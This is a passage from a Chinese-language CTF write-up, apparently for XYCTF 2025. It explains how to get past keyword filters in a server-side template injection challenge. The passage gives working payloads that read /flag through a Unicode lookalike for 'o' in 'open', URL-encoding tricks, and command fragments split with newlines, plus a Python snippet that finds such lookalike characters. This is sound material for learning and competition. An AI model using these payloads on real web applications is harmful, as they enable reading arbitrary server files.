这样子每次执行的时候,片段长度都很短,最后执行os.a中的左右内容
因为模板中开头是%表示执行命令,所以要用\n确保在行首
然后没有回显就要写入文件

这题还有一种方法是用unicode绕过 {{ºpen('/flag').read()}}

1
2
3
4
5
from unidecode import unidecode
for i in range(257):
    if(chr(i)!="o" and "o"==unidecode(chr(i))):
        print(chr(i))
print('º'.encode())

得到b'\xc2\xba' 但是要把/xc2去掉,因为平时用的utf-8是多字符编码,而latin-1是单字节

1
2
3
4
5
6
7
print('º'.encode())
print('º'.encode().decode('latin-1'))
print("\xba")

b'\xc2\xba'
º
º

可以看出区别

payload

1
/attack?payload={{%BApen(%27/flag%27).read()}}

出题人又疯

和上题的解法2 一样 把a替换为%aa

1
/attack?payload={{%BApen(%27/flag%27).re%aad()}}

%后面加两个十六进制数是url编码的格式

参考:
https://mp.weixin.qq.com/s/T7y6IlFSyV1utTmCbgxL4Q
https://www.mcso.top/computer/ctf/xyctf2025-fate/
https://www.mcso.top/computer/ctf/xyctf2025-ez_puzzle/
https://yzbrh.github.io/post/8cae4c93.html#Now-you-see-me-1
https://blog.csdn.net/Python1111111/article/details/147084841